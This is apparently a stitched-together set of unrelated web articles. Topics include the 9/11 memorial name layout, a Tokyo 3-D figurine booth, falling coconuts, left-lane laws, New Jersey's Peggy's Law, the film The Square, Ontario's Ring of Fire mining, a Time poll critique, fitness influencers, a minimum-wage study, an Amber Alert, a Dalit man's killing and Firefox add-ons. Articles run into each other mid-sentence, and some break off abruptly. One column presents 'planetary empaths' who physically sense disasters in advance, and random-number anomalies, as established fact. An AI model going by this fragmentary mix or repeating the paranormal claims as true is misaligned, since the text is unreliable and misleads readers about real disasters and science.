Their adjacency is product of a masterful bit of programming undertaken by the New York media design firm Local Projects, which took 1,800 requests from families of the 3,500 9/11 victims, and created an algorithm that let them be grouped by affinity: firefighters with firefighters, cops with cops, all the members of each of the flights, first responders, or just pals.
This afternoon, as President Obama made his way to Manhattan to lay a wreath at the World Trade Center site, the 9/11 Memorial President, Joe Daniels, unveiled the web site that displays the final arrangement. Names.911memorial.org provides wayfinding for each of the victims. It also provides brief biographical information provided by next-of-kin. The same application will be available on mobile smartphones, tablet computers, and electronic kiosks when the plaza of the Memorial opens on Sept. 11, 2011.
“It’s the connections in our lives that matter the most,” said Daniels at this morning’s breakfast meeting on the 40th floor of 7 World Trade Center, overlooking the 9/11 site. “These names, inscribed in bronze, are the heart of the experience.”
“It’s the connections in our lives that matter the most.”
Conventional memorial design dictates that names are listed alphabetically or chronologically. That makes people easy to find, but tends to dilute the meaning that attaches to affinity. With this new program, bands of brothers, families, and co-workers, can be remembered as part of a group that meant the world to them in life and united them in death.A Japanese pop-up photo booth will use 3D-printing technology to create action figure-sized replicas of its subjects.
The Omote 3-D photo booth, which opens in the Eye of Gyre exhibition space in the Harujuku district of Tokyo on Nov. 24, features a 3-D scanner and 3-D printer setup that takes the likeness of its visitors and convert them into miniature figurines.
[partner id="wireduk"]Posers must stand in position for around 15 minutes as the manually operated scanner records a full-body image. The raw data can then be modified and tweaked to achieve a better likeness and fine detail can be added before the 3-D color print is made.
The service offers single, double or group portraits in a variety of sizes, the largest being up to 8 inches. If you're a fan of the results — or looking to build a miniature army — you can also order reprints of yourself and others.
However, sitters hoping for a three-dimensional rendition of their more outlandish poses and complicated ensembles should note that the limitations of the scanning and printing technologies mean there isn't much room for experimentation with your figurine portraits yet.
Shiny jewelry and accessories are ruled out, as are stiletto heels, hoop earrings, anything with a mesh, fluffy sweaters, chiffon, trekking boots, stripes, glasses and bags. Customers are also discouraged from pulling adventurous or particularly dynamic poses on account of needing to remain stationary for 15 minutes.
Prices start at ¥21,000 (around $265) for a small single figurine.People can be injured, and in rare cases killed, by falling coconuts. The evidence for the danger has largely been investigated by Peter Barss, who noted a high rate of injuries while working as a hospital director in Papua New Guinea during the 1980s. In 1989, Barss published a study in the Journal of Trauma titled “Injuries Due to Falling Coconuts.”
In Barss’ study, he analyzes the force at which coconuts falling out of a tree might hit a person, and cites the number of people injured by coconuts admitted to his hospital. It is true that a person can be injured, and in some cases killed, by a coconut because the trees are tall, and the velocity of the coconut accelerates as it falls. This could essentially be the equivalent of dropping a coconut, in many cases, off a ten-story building.
Passers-by could have concussions, and it would be theoretically possible for a direct hit to cause death. This would be especially the case if a small child or infant were hit. Most people do not suffer acute injuries from a falling coconut, however, and Barss’ study reports no deaths.Slowpokes, beware: More states are cracking down on drivers who dawdle in the left lane.
While all states require slow-moving vehicles to keep to the right, laws that went into effect in Tennessee this year, Indiana last year, Georgia in 2014 and Florida and New Jersey in 2013 are setting harsher penalties for dawdling drivers.
The new penalties, proponents say, are aimed at reducing congestion, frustration and accidents.
Tennessee is one of the latest states to impose harsher punishments, often also called “slowpoke” or “left-lane courtesy” laws. As of the beginning of this month, slow drivers there face a $50 fine for camping out in the left lane.
“It’s not the speed on the highway that kills as much the weaving in and out of traffic, which is caused by people who impede the flow of traffic,” the bill’s sponsor, State Representative Dan Howell, told The Chattanooga Times Free Press earlier this year.
Since a similar law went into effect in Indiana a year ago, the state police reported issuing 109 tickets and 1,535 warnings, according to WISH-TV, a local news station. That law allows a maximum fine of $500 for unreasonably slow drivers who block the left lane.Seven years of negotiations, calls to legislators and even roadside protests have come to an end for Maureen Persi, who has been fighting day-in and day-out for stiffer laws to protect the elderly since her mother died Aug. 4, 2010 after allegedly being abused by the staff of a local nursing facility.
Her mother, Peggy Marzolla, who worked until age 81 for the Paterson, N.J. police department, died 65 days later after being rushed to Ocean Medical Center. When Persi arrived at the hospital after receiving a call from the staff at Brandywine Senior Living in Brick, she found her mother covered in bruises, with a broken eye socket, broken cheekbone, broken jaw, broken wrist and welts on her back.
Staff at the nursing facility told Persi her mother had slipped on powder in a bathroom and fell backward, causing her injuries. But Persi never believed the explanation. A lawsuit filed by Persi against Brandywine was settled out of court.
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Persi, after seeing her mother’s injuries, said she was shocked at how the elderly could slip through the cracks in New Jersey. Instead of the local police department investigating charges of abuse or assault, elderly people in nursing homes and other medical facilities fell under the jurisdiction of the little-known Office of the Ombudsman for the Institutionalized Elderly, which Persi said put the case on a long waiting list after she reported what happened to her mother.
The eventual investigation by the Ombudsman’s office did not resut in any criminal charges being filed in the case, nor any sanctions against Brandywine. What Persi saw as the office’s backlogs and overtaxed staff led her to fight for reforms.
“Abuse is abuse, whether it be domestic violence, a child or an elderly person,” said Persi, who began fighting for a change in state law to allow police and local authorities to investigate cases of potential abuse. “I am not a person who can deal easily with things that are wrong in society.”
Persi, a retired teacher and elementary school principal who is a longtime resident of Ortley Beach, faced hurdles from legislators and a powerful lobbying group that represents nursing facilities. Peggy’s Law, which is based on legislation enacted in many other states, including Florida, even had its fines decreased for violators after state Assemblyman Herb Conaway (D-Burlington), a medical doctor, objected to the original penalties, Persi said.
But on Monday, Gov. Chris Christie signed the reform act into law, named for Peggy Marzolla.
Peggy’s Law, sponsored by Sen. James Holzapfel (R-Ocean) requires any caretaker, social worker, physician, nurse or other staff member of a care facility who has “reasonable cause to suspect that an elderly person is being abused or exploited,” to report it to local law enforcement. It also requires them to report such incidents to the Ombudsman of the Institutionalized Elderly within certain periods of time depending on the kind of abuse.
“When families put their loved ones in the care of a nursing home or other assisted living facility, they expect that they’ll be treated properly and with respect,” |
Tahrir Square, “he was just continually painting these ever-changing murals” amid the tear gas and flying bullets.
A government curfew made it logistically difficult to find a good time to film Abo Bakr painting in the street, Noujaim says. So her crew built a wall on the balcony of an apartment and staged the painting scene there. (The producers later raised money on Kickstarter by auctioning off pieces of the colorful wall.) In the film, the mural becomes a mini-Tahrir. “The square to us was this kind of canvas,” Noujaim says. “Different people express different things, different people control it. To understand the square is to understand the process and the different layers of it, not to get obsessed with just the moment.”
Abo Bakr is known as a particularly witty and rebellious artist, focused on the role graffiti can play in resistance movements. When the Muslim Brotherhood was in power, Noujaim recounts, their minions would whitewash the murals. So Abo Bakr painted on one wall a Koranic verse that translated roughly to mean: “Beware of people that come cloaked in religion trying to manipulate.” When the Brotherhood’s cleanup crew arrived, they couldn’t whitewash it because they were prohibited from covering up religious verse.
Painting isn’t the only form of expression celebrated in The Square. “As long as there’s a camera, the revolution will continue,” says Ahmed, one of Noujaim’s main characters, who doubled as a cameraman during the most violent street scenes. (When he gets clobbered, the screen goes black.) Social media sites like Facebook feature prominently, as do songs by Ramy Essam, whose music some consider the “soundtrack to the revolution.”
Toward the end of the film, people revel in the streets as Morsi is deposed, as Mubarak was before him. This time Noujaim casts a darker mood, more unsettled. But I was glad for that. To tie up the story in a triumphant bow would have cheapened the experiences of Egypt’s revolutionaries, who are engaged in an ongoing battle against a power structure that would rather see them silenced.Premier Dalton McGuinty had a secret meeting with Prime Minister Stephen Harper this week to pitch for federal help in developing the mineral-rich Ring of Fire in northwestern Ontario. McGuinty said he’s looking for aid on developing the arc of mining deposits — including chromite for stainless steel — in a project that could be Ontario’s equivalent of Alberta’s oilsands, resulting in billions of dollars in revenue.
Aerial view of the Ring of Fire, 5, 120 square km of pristine lakes and rivers 500km northeast of Thunder Bay, Ontario, on Marten Falls First Nation and Webequie First Nation land which sits on a "world class" deposit of chromite. ( Tanya Talaga / Toronto Star )
“I think I piqued his real curiosity, if not his real interest, in developing the Ring of Fire,” the premier said of Harper, whom he met for an hour Tuesday in a downtown Toronto hotel. The meeting was not listed on McGuinty’s detailed daily itinerary. The two men talked about the Ring of Fire “a great deal” with McGuinty noting Ontario needs help building roads, electricity lines and training local First Nations peoples for the thousands of jobs that would be available in mining and related fields.
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“I impressed upon the prime minister we have a great natural resource in our own province, right here in our own backyard, that we need to develop together,” said McGuinty, whose cash-strapped government needs resource revenues to bolster its bottom line. “This is a big project. We can’t do it on our own,” the premier told reporters in Woodbridge. He asked Harper to consider ways the Ontario and federal governments could “partner together” in opening up the area northwest of Thunder Bay. At Queen’s Park, NDP Leader Andrea Horwath stressed that McGuinty also needs to talk with native leaders. “The Ring of Fire is an opportunity that we may not get the benefits of if the government’s not serious about talking to the other order of government in Canada and that would be First Nations,” said Horwath.
“Unfortunately, they continue not to talk to First Nations leaders about the Ring of Fire and the implications of the Ring of Fire on their traditional lands,” she said. Deals with First Nations groups are yet to be hammered out as mining companies such as Cliffs Natural Resources of Cleveland look to develop what is North America’s only large-scale chromite deposit.
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Progressive Conservative Leader Tim Hudak, who visited the Alberta oilsands this week, has warned high electricity prices in Ontario could mean the province will lose out on jobs smelting minerals from the Ring of Fire if miners ship it elsewhere for processing. The Ring of Fire, named after a Johnny Cash song, also contains nickel, copper and platinum. With files from Robert Benzie
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Planetary empaths
Columnist: Rob MacGregor Posted on Tuesday, 23 June, 2015 | 0 comments Columnist:
Article Copyright© Rob MacGregor - reproduced with permission.
http://blog.synchrosecrets.com - Rob & Trish MacGregor
On March 11, 2011 at 2:46 p.m. Tokyo time, a 9.0 earthquake shook northern Japan for six minutes, moved the main island of Japan eight feet, and shifted the planet’s axis by four inches. The quake unleashed a tsunami that raced across the Pacific, triggering tsunami warnings and alerts for 50 countries and territories. Waves over a hundred feet high slammed into Honshu’s shoreline, and swept six miles inland, destroying everything in their path. Nearly sixteen thousand people died. The tsunami struck the Fukushima nuclear plant and created the largest nuclear disaster since Chernobyl in April 1986.The triple disaster caught the Japanese government, the Tokyo Electric Power Company and other authorities by surprise. But none of it surprised Debra Page, a paranormal researcher in southern California, who began experiencing debilitating physical symptoms up to a week before the quake. Debra’s ears rang constantly, she suffered from extreme vertigo, and excruciating migraines. She couldn’t sleep, couldn’t function, and ended up in the emergency room several times. A sense of profound sadness left her paralyzed.“I had severe ringing in my left ear, always a precursor to a quake or volcanic eruption.” Four days before the quake, other symptoms surfaced: severe vertigo, nausea, a crippling fatigue, inexplicable nosebleeds. Debra knew that the impending quake, wherever it would occur, would be bad.“Even though I was born intuitive and empathic, nothing prepared me for how those qualities would progress through life,” Debra said. In the early 1990s, she began to notice that her intuitive flashes were expanding to include world events. The curious thing was how these flashes translated into physical symptoms. Days before a world event, she would feel a profound grief and heartache that nearly crippled her. ”Then I started noticing a pattern. The grief episodes would precede an event – either a natural or man-made disaster – and disappear when the event happened: Princess Diana’s death, the beginning of the Gulf War, the shootings at Columbine, at Virginia Tech, the 2008 financial debacle.”Before the quake and tsunami in Sumatra, Indonesia in 2004, Debra and her husband were out running errands. Suddenly, her left ear had a long, sustained ringing and she experienced simultaneous visions of destruction and flooding. “I knew many would die. I was so disoriented my husband had to hold me up until it was over. I told him what I was witnessing. I was horrified. I knew it would happen in three days, but didn’t know where it would happen.”Shortly before March 11, Connie J. Cannon, a retired R.N., was in a grocery store one afternoon in northern Florida where she lives. Suddenly, the ground shifted abruptly beneath her and she grabbed onto a shelf to keep her balance. Her head hammered, her vision blurred, nausea gripped her. She barely made it out of the store to her car. Her husband and the other people around her didn’t experience anything at all.“Prior to higher magnitude earthquakes, no matter where they are going to occur on the earth, I begin to experience a sense of impending doom,” Connie says. “This is quickly followed by an ‘edginess,’ and then the physical symptoms kick in. My ears will click and ring and sometimes thump; walking becomes a real issue, as if I’m trying to walk on a rocking, undulating boat in water although my floors are perfectly level and I must hold onto the walls to keep my balance. The nausea is a sea-sickness type of nausea. Although I do have Parkinson’s, there’s a distinct difference between those symptoms and the planetary event warnings.”Before the 6.3 quake in New Zealand on February 21, 2011, Natalie Thomas, a medium and mother of five in Australia, began to experience a great sense of agitation that came out of nowhere and “dreadful sadness akin to grief or a broken heart.” Most of the time when these feelings begin to surface, it’s as if a switch has been flicked on that allows her to feel the energy of events. The only thing she can equate it to is a sense of ”being broken open.”On May 1, 2015, two days before the 7.8 quake in Nepal, Jane Clifford of Wales was in her garden when she experienced such violent shaking she had to stretch out against the ground. The next day, she told a friend that a massive earthquake was coming with huge loss of life. Her friend’s response was that quakes were going on all the time, but Jane insisted that her premonitions are about the ones that hit the global news. When she woke up on the day of the quake, she felt shock, grief, terror, loss, and knew the quake had happened. “I struggled to clear those emotions for hours, then heard on the radio about Nepal and knew there was more to come.”These individuals, planetary empaths, are so attuned to the planet that they experience physical, emotional and psychic symptoms hours and sometimes days before a natural or man-made disaster. They come from different countries, from different cultural, ethnic, and spiritual backgrounds, and most seem to be women. The intensity of their symptoms appear to be connected to the severity of the disasters and often subside once the disaster has occurred.We started gathering information about planetary empaths five years ago, in January 2010, when we began receiving emails from visitors to our synchronicity blog, who described a spectrum of physical symptoms that they believed portended an impending natural disaster. Some of these people said the symptoms were similar to what they had experienced before other disasters – 9/11, the Indonesian quake and tsunami in 2004, Hurricane Katrina in 2005, Hurricane Andrew in 1992. In other words, for some of these individuals, the symptoms had been consistent throughout their adult lives. They had a means of comparison.It didn’t take long before disaster struck. On January 12, a 7.0 quake struck 15 miles southwest of Port au Prince, Haiti, at a depth of just 8.1 miles beneath the surface. According to Disasters Emergency Committee, an organization in the U.K., three and a half million were impacted by the quake. The death toll was enormous – more than 220,000 with another 300,000 injured – and the destruction was massive.DEC estimated that after the quake, there were 19 million cubic meters of rubble and debris in Port au Prince – “enough to fill a line of shopping containers stretching end to end from London to Beirut.” At one point, a million and a half people were living in camps. In October, there was an outbreak of cholera that killed nearly six thousand and left more than 200,000 infected.After the initial quake had occurred, the planetary empaths, who had contacted us, reported that their symptoms had subsided, but that they were still experiencing severe discomfort, indicating that the event wasn’t over yet. Sure enough, within the first nine hours after the quake, the United States Geological Survey recorded 32 aftershocks of 4.2 or greater, and on January 24 – twelve days after the quake - there were 52 aftershocks measuring 4.5 or greater. Only then did the empaths report that they were free of their symptoms.The earthquake in Haiti classifies as a mass event – one in which media coverage is so extensive that you would have to be living under a rock not to know about it. Mass events seize us emotionally, collectively, and that reality ripples outward through time. And it’s measurable.The Global Consciousness Project, based at Princeton University and co-sponsored by the Institute of Noetic Sciences, monitors what author and researcher Dean Radin calls the “global mind.” It was started by Princeton’s Dr. Roger Nelson, who defines the global mind as the combined consciousness of everyone on the planet.The project collects data from a global network of physical random number generators located in up to 70 host sites around the world at any given time. According to their website, “The data are transmitted to a central archive which now contains more than 15 years of random data in parallel sequences of synchronized 200-bit trials generated every second. Our purpose is to examine subtle correlations that may reflect the presence and activity of consciousness in the world. We hypothesize that there will be structure in what should be random data, associated with major global events that engage our minds and hearts.”This means that if you repeatedly flip a coin, it should result in an equal number of heads and tails. But with events of extreme global interest, the concentrated and emotional outpouring results in a noticeable difference in the percent of heads versus tails. When 9/11 occurred, it became a collective story of humanity – the most powerful country in the world had been attacked in its financial heart by men armed with cardboard cutters from the richest oil producer on the planet.Radin noted that on 9/11, thirty-seven of the random number generators were active. The fluctuations in the bell curve analysis indicated that anomalies had begun two hours before the first plane hit the World Trade Center – odds of 20 to 1. “That means that on that fateful day, the CP’s ‘bells’ collectively rang out around the world with an unusually pure tone,” Radin said.It also means that the fluctuations were precognitive, that the global mind’s awareness of an imminent mass disaster rippled out through time, into the future.Are planetary empaths the human equivalents of random-number generators? Are they the twenty-first century shamans who can tap into the flow of human experience in a way that eludes the rest of us – but which might help us save lives? What can we learn from them? How can they learn to hone their abilities so they can pinpoint longitude and latitude, the exact place and the nature of the disaster?In The Minority Report, the Steven Spielberg movie based on Philip K Dick’s novel, a group of precogs are wired to devices that enable police to arrest people before crimes are committed. Are these empaths our planetary precogs?Is a new paradigm under construction here or have planetary empaths been around in one form or another for millennia? From the oracle at Delphi to Nostradamus and Edgar Cayce, the world has always had prophets and seers. But planetary empaths may be the quintessential result of the 21st century and an increasingly chaotic world. They are radically different from other prophets in that their physical bodies and emotions are the conduits of precognitive information.These planetary empaths don’t have the luxury that Nostradamus did, whose visions came to him while he stared into a brass bowl filled with water. They can’t distance themselves from the information as Edgar Cayce did when he entered a self-induced trance. They must deal with physical symptoms that are often so debilitating it’s difficult to function, to go about the business of your daily life.The challenge for these individuals lies in defining the symptoms. Some know that a clicking or ringing in one ear or the other indicates an earthquake is imminent or that feeling hot and flushed indicates a volcanic eruption is about to occur. But location eludes them. Geographical coordinates don’t accompany the symptoms. Most of the time, they don’t even know on which continent the catastrophe will take place.In late March and early April of 2013, we began receiving emails from several empaths about severe physical symptoms they were experiencing. We eventually realized these symptoms were connected to the bombing at the Boston Marathon on April 15, 2013.On April 14, the day before the bombings, Jenean, a writer and poet, reported that she’d been having left ear vibrations, palpitations, a touch of dizziness. She was sitting outside on her daughter’s deck, moved her chair slightly, and suddenly “felt the earth tremble” and jerked her chair back.Her daughter noticed and asked here what was wrong. Jenean replied, “Didn’t you feel that? The earth just trembled and I thought I was going to fall off the edge.”Her daughter laughed and said it was all in her head.The next day, of course, Jenean realized she’d been experiencing symptoms related to the bombings.Ridicule is one reason that planetary empaths are sometimes reluctant to talk about their experiences. It’s easy for other people to write off ringing in the ears or vertigo or a sense that the earth is rocking and rolling as being “in your head” - i.e., you’re imagining it. In Western society, we’re taught to distrust and dismiss our intuition and the validity of our own experiences. We’re taught that skepticism is the only course that is reasonable and logical. But isn’t it more productive to react with curiosity and explore whatever might be happening?Planetary empaths may represent an evolution in human consciousness and if so, then we have much to learn from them.If you have experienced planetary empath symptoms, we’d like to hear from you. Please write us on the contact form on our blog at blog.synchrosecrets.comThe most recent Time/SRBI poll, conducted September 26-29, asked likely voters with an "unfavorable opinion" of Sen. Barack Obama to respond to various "reasons that voters give us for having an unfavorable opinion of Barack Obama." Among the "reasons" the poll offered were attacks on Obama's character, including suggesting he has lied about his religion: "He's really a Muslim and not a Christian"; "He's an elitist who doesn't understand the needs of ordinary people"; and, "He's not as patriotic as he should be." The poll also asked all respondents how well various "statements describe Barack Obama and his campaign for the presidency." Among the "statements" the poll offered was: "The real Barack Obama holds extreme positions which won't be revealed until after he's elected, no matter what he says now." Neither the October 1 Time.com article on the poll nor the questionnaire posted on SRBI's website gives any indication that respondents were told of reasons that voters might hold "an unfavorable opinion" of McCain or were asked to give reasons why they hold such an opinion of McCain -- even though the poll itself found that more respondents hold an unfavorable view of McCain than of Obama. Nor were they asked if the "real" John McCain "holds extreme positions which won't be revealed until after he's elected, no matter what he says now."
From the September 26-29 Time/SRBI poll:
Q13. How well do each of the following statements describe Barack Obama and his campaign for the presidency?
D) The real Barack Obama holds extreme positions which won't be revealed until after he's elected, no matter what he says now
[...]
Q19a. Here are some reasons that voters give us for having an unfavorable opinion of Barack Obama. For each one tell me if it's a major reason that you have an unfavorable opinion, a minor reason, or no reason at all?
E) He's really a Muslim and not a Christian
[...]
Q19a. Here are some reasons that voters give us for having an unfavorable opinion of Barack Obama. For each one tell me if it's a major reason that you have an unfavorable opinion, a minor reason, or no reason at all?
F) He's an elitist who doesn't understand the needs of ordinary people
[...]
Q19a. Here are some reasons that voters give us for having an unfavorable opinion of Barack Obama. For each one tell me if it's a major reason that you have an unfavorable opinion, a minor reason, or no reason at all?
G) He's not as patriotic as he should beEvery now and again, we can use a little motivation. Maybe you’re looking for a new way to move, or some recipes for meals that will have you feeling more focused and energized for the day. Or perhaps you just want to follow all kinds of lesbians doing cool things on Instagram. (In which case, we’re on the same team!)
Whatever your inspiration, there are several out and proud women working in health and fitness who are promoting body positivity and mental and physical health, and they are all worthy of getting added to your feed. Here are seven such experts who are hoping to inspire you to sweat, smile and treat yourself by sharing how they do it every single day.
Emily Schromm was first made famous on The Real World: DC, but she’s kicked ass since on MTV Challenges because she’s a full-time fitness pro off-camera. Last year, she won Women’s Health‘s Next Fitness Star but her passion is really in her own Superhero Challenge. So if you need a program to follow and want access to your virtual trainer via YouTube, Periscope and all other kinds of social media, Emily might just be your new BFF. (Bonus: Her GF Michelle Kinney is also an inspiring follow.)
When you nail your last set Day one of my Challenge, day one of a new Invictus cycle… My goals = stay strong but stay healthy (which my Challenge will help me do with my diet on point), and eating at least 2500 calories a day. Here we gooooo… A photo posted by emilyschromm (@emilyschromm) on Sep 21, 2015 at 2:49pm PDT
Lacey Stone coaches regular boot camps and Flywheel classes in Los Angeles, but if you don’t live in LA, she’s also active on YouTube and just relaunched her website with tips, tricks and other motivators for those who want to meet their health and fitness goals.
Monday Motivation: Check out my Top 10 Ways To Get Your A** In GEAR! You must adjust your lifestyle and the way you think about working out if you want REAL DEAL RESULTS. Fitness is an inside out job. Check out why in my Bio Link A photo posted by laceystonefitness (@laceystonefitness) on Sep 28, 2015 at 7:07am PDT
If you aren’t familiar with Holly Rilinger, you will be, soon. The superstar trainer is featured on Bravo’s new Work Out: New York reality show coming later this year. A former college basketball star, Holly is also a Nike master trainer, and one of NYC’s most well-loved spinning instructors.
Creating a PE program for a girls school in The Congo for #georgesmalaikafoundation was one of the hardest and most rewarding experiences of my life. #tradeyourcomfortinforchange #giveback #joyfactor #hollylife A photo posted by @hollyrilinger on Sep 23, 2015 at 10:05am PDT
Kristan Clever is a Rogue-sponsored Cross Fit star who competes for the professional GRID League when she’s not coaching at Valley CrossFit. Her Instagram feed is full of gymnastic feats and seriously hard stunts.
Inspired by @morrison_blair Straddle #presshandstand to (not quite) straddle planche. #OperationPlanche #itsaprocess #gymnasty A video posted by Kris Clever (@cleverhandz) on Sep 24, 2015 at 9:59pm PDT
Jackie Warner delivers recipes, inspirational quotes and tidbits from her books and DVDs. If you’ve been a fan of Jackie’s since her Work Out days, you might even spot some familiar faces (like Mimi!).
Taylar Stallings was the MVP of the GRID League’s inaugural year, meaning she’s one of the strongest and most skilled women alive. Taylar also shares photos with her equally as talented wife-to-be trainer/dancer Dreama Davidson.
Another familiar face from MTV Challenges, Rachel Robinson is a trainer at Betty’s Bootcamp in Miami, Florida. She provides fitspiration from her workout fashion to her hard abs and ass(ets). If you like puppies, she also posts a lot of those, too.A proposed gradual increase in New York’s minimum wage from $9 to $15 an hour would increase wages by an average of 23 percent for nearly 3.2 million workers by mid- 2021 and will not have a negative effect on overall employment, says a comprehensive new study released today by UC Berkeley.
New York Gov. Andrew Cuomo is seeking legislative support to increase the state’s minimum wage to $15 an hour by Dec. 31, 2018, in New York City, and by July 1, 2021, in the rest of the state. Californians may vote on a similar proposal in November.
“The policy will have large positive effects on living standards and very small effects on employment,” concludes UC Berkeley’s team of labor market researchers from the Institute for Research on Labor and Employment in the latest in a series of studies of minimum wage policies under consideration or being implemented by cities and states across the country.
The New York analysis is based on a comprehensive new labor market model that the researchers developed to project how workers, businesses and consumers will adjust over the five years of the higher minimum wage’s phase-in. The model draws on an extensive academic literature on the economics of labor markets, business practices and consumer markets and examines the interactions among the various effects.
If New York enacts a $15 minimum wage, the Berkeley team forecasts some additional automation in low-wage industries, with higher payroll costs for businesses partly offset by savings in employee turnover expenses and employee productivity gains. Consumers would absorb a 0.2 percent annual price increase over the phase-in, equivalent to about a nickel for a $3 box of Cheerios. Consumer inflation has averaged nearly 2 percent a year in recent years.
Among the other key findings:
About 37 percent of the New York workforce will benefit from increased earnings.
For those receiving higher wages, annual pay will increase $4,900 a year on average (in 2015 dollars), boosting consumer spending.
Three industries account for nearly half of the workers getting increases: retail (18 percent), health care and social assistance (16 percent) and restaurants (14 percent).
Overall payroll costs in the state will increase by only 3.2 percent, since many businesses already pay over $15 and many workers getting a raise already earn over $9, the state’s current minimum wage. Also, labor costs average one-fourth of business operating costs.
Businesses will experience lower employee turnover, generating savings in recruitment and retention costs that will offset about one-eighth of the higher payroll costs. Worker productivity will also increase.
Putting all these effects together, the report estimates a very small net gain of about 3,200 jobs after five years, equivalent to 0.04 percent of 2021 employment in New York state.
“We looked carefully at both sides of the equation, the effects on businesses and the effects on workers. Businesses will adapt,” said study lead author Michael Reich. “Efficiencies and turnover saving will offset a good part of the wage increases and modest prices increases – spread across all consumers — will cover the rest. The increased consumer spending from the higher wages will generate more business and jobs.”
Reich said that it turns out that these effects largely offset each other and the net employment effects of the minimum wage are very small.
“Looking at the entire picture, the gains for low-wage workers are significant and a higher minimum wage means a more widely-shared prosperity in New York,” Reich concluded.
The report notes that effects will vary among geographic regions and industries and that it does not factor in impacts of higher wages on the health of workers and their children, which are likely to be positive.
The lead researcher for the study is Reich, a UC Berkeley economics professor, former director of the Institute for Research on Labor and Employment and chair of its Center on Wage and Employment Dynamics. The other authors are labor economist and CWED co-chair Sylvia Allegretto; UC Berkeley Center for Labor Research and Employment chair Ken Jacobs; and IRLE economics researcher Claire Montialoux.An Amber Alert issued by the Louisiana State Police Saturday (Sept. 19) for a 2-year-old and his grandmother, has been cancelled after they were found unharmed, police said.
Denim Bureau, 2, and Mary Jones, 54, were found safe about 4 p.m. by authorities with the Calcasieu Parish Sheriff's Office. Jones estranged husband, Troy Jones, is in custody, police said.
The child and his grandmother were reported missing from 38466 Highway 42 in Prairieville early Saturday morning. State Police and the Ascension Parish Sheriff's Office said they believed the two were abducted by Troy Jones, 48.
Jones is currently in the custody of the Calcasieu Parish Sheriff's Office, authorities said.
No further information was immediately available. Check back with NOLA.com | The Times-Picayune for updates on this story.
Contributing writer Helen Freund collaborated in this report.BAREILLY: Udai Veer, the main accused in the burning of the 65-year-old Dalit man two days ago, was to get married on Thursday. Police in Bareilly allowed the man to go ahead with his marriage, providing him reprieve for a day before sending him to jail.The family of the 65-year-old who died of the burns, however, are hard-pressed to understand the kindness shown to the accused. Local people have also protested the police action.Sixty-five-year-old Genda Lal, a Dalit farmer, was set ablaze by the three men on a motorbike Wednesday night, after a heated argument in Chandpura village under Aonla tehsil.Sources said Udai Veer was at home in Sirauli village of Aonla tehsil on Thursday when the police raided his house. Police were surprised to find the man's family busy preparing for his marriage, scheduled for Thursday night.The man's family reportedly pleaded with the policemen to spare him for a day, so the marriage ceremony could take place. They said the police could take him into custody after the ceremony.The policemen, sources said, acceded to the requests, and returned without arresting the man. This created a furore in the village, with members of the victim's family questioning the partisan nature of police action.The victim's daughter, Somvati, expressed shock of the police action.The others accused in the case, however, were not as lucky. Makhan, who was among the accused, was picked up by police immediately as information was received that he was in the village. Aonla circle officer Kushal Pal Singh told Times of India: "We have arrested one of the accused. Two others are on the run. All allegations of allowing Udai Veer a day's time to tie the nuptial knot is false and baseless. He was not present at his home at the time of the raid."Sensing trouble after seeing the sharp reaction of local people, the police registered a complaint on Thursday against the three under provisions of the Scheduled Castes and Scheduled Tribes Act, 1989.Firefox might not be the most popular web browser out there right now, but the number of add-ons it has, and the ones it keeps welcoming every other day into its arsenal never cease to amaze me. The browser that became the favorite of the tech savvy crowd before there was Chrome, and still remains a favorite of countless loyal users has been known for its extensive add-on support to extend its functionality beyond the stock offerings. As we take a look back at 2013 to present our readers with the best stuff we’ve covered the whole year, it’s now time we show you our hand-picked collection of 50 Best Firefox extensions from 2013.
The order of add-ons in this list does not reflect their ranking in any manner.
1. Bookmark Duplicate Cleaner (Analyzes all bookmarks that you’ve saved and lists any duplicate locations so you may remove them.)
2. Classis Retweet (Adds the missing ‘Edit & RT’ feature to Twitter’s web interface.)
3. Powerbot for Gmail (Lets you add notes or notebooks from Evernote to Gmail, and save an email thread to an Evernote notebook, complete with attachments.)
4. Newtab: Rows & Columns (Lets you customize the number of rows and columns on the new tab page’s Speed Dial.)
5. Mega Extension (Adds support for unlimited batch file downloading with no size restrictions to the MEGA cloud storage service.)
6. about:addons-memory (Easily detect the add-ons that are dragging your browser’s performance down.)
7. YouTube Lyrics (Gives you access to lyrics of songs you listen on YouTube and Grooveshark.)
8. Remove Facebook Suggested Pages and Posts (Blocks suggested posts and pages from your Facebook News Feed.)
9. Password Dialog Begone (Disables that pesky password saving reminder that pops up every time you enter a password.)
10. Advanced bookmarks Add on (Remember why you bookmarked a webpage by taking you to a scrolled position of your choice when you open it.)
11. Firefox Button Classic Menu (Allows you to restore the old menu of Firefox, making it easier to navigate.)
12. Google Shortcuts (Lets you access Google services from the toolbar.)
13. Hide Unwanted Results of Google Search (Hides unwanted search results from particular websites in Google Search.)
14. Bookmark Quick Mover (Lets you organize your bookmarks easily using the right-click context menu.)
15. Search Switch (Adds the ability to search in other search engines from the default Google search page.)
16. Easy Access (Official add-on by Mozilla that allows you to launch some useful applications installed on your PC directly from Firefox.)
17. TranslateWebpageAtGoogle (Adds a webpage translation option via Google Translate to the right-click context menu.)
18. Fullscreen+ (Keeps Windows Taskbar accessible even when you switch Firefox to browse the web in full screen mode.)
19. Google Keep (Unofficial add-on that allows you to use Google’s note-taking service in a popup.)
20. PowerInbox (Allows you to integrate social media services into major email providers.)
21. LinksWatched (Automatically warns you when you open duplicate tabs.)
22. Yet Another Context Search (Search for highlighted text via right-click context menu using sources like Google, Yahoo, Bing and Wikipedia.)
23. Download Panel Tweaks (Easily adjust the size and other aesthetical parameters of the download drop-down menu of Firefox.)
24. Paste and Go Hotkey (Specify a hotkey of your choice for the Paste & Search option.)
25. Self-Destructing Cookie (Probably the easiest way to automatically get rid of cookies upon exiting your browser.)
26. YouTube Smart Pause (Pauses YouTube playback when you switch to another tab, and resumes it when you return to it.)
27. Disconnect (Blocks tracking cookies, social widgets and other intrusive scripts on the websites you browse.)
28. Fess Google Bookmark Extension (Lets you manage your Google bookmarks from Firefox.)
29. All Tabs Restorer (Remember the tabs preview feature in Firefox? This add-on does a great job bringing it back.)
30. Gmail Notifier (Notifies you of new emails in your Gmail account.)
31. HelloSign for Gmail (Handy solution to quickly opening, signing and editing documents from Gmail attachments.)
32. Be Quiet (Automatically pauses any current streaming audio or video on YouTube, Pandora etc., when you play a new one.)
33. Scroll Search Engine (Lets you scroll on the search bar to quickly switch between available search engines.)
34. Download Scheduler (Schedule several downloads to start at different times of your choice, and also automatically pause them at a specified time.)
35. Multi-Link Paste and Go (Simply copy multiple URLs to clipboard and have them opened in separate tabs when you paste them in Firefox.)
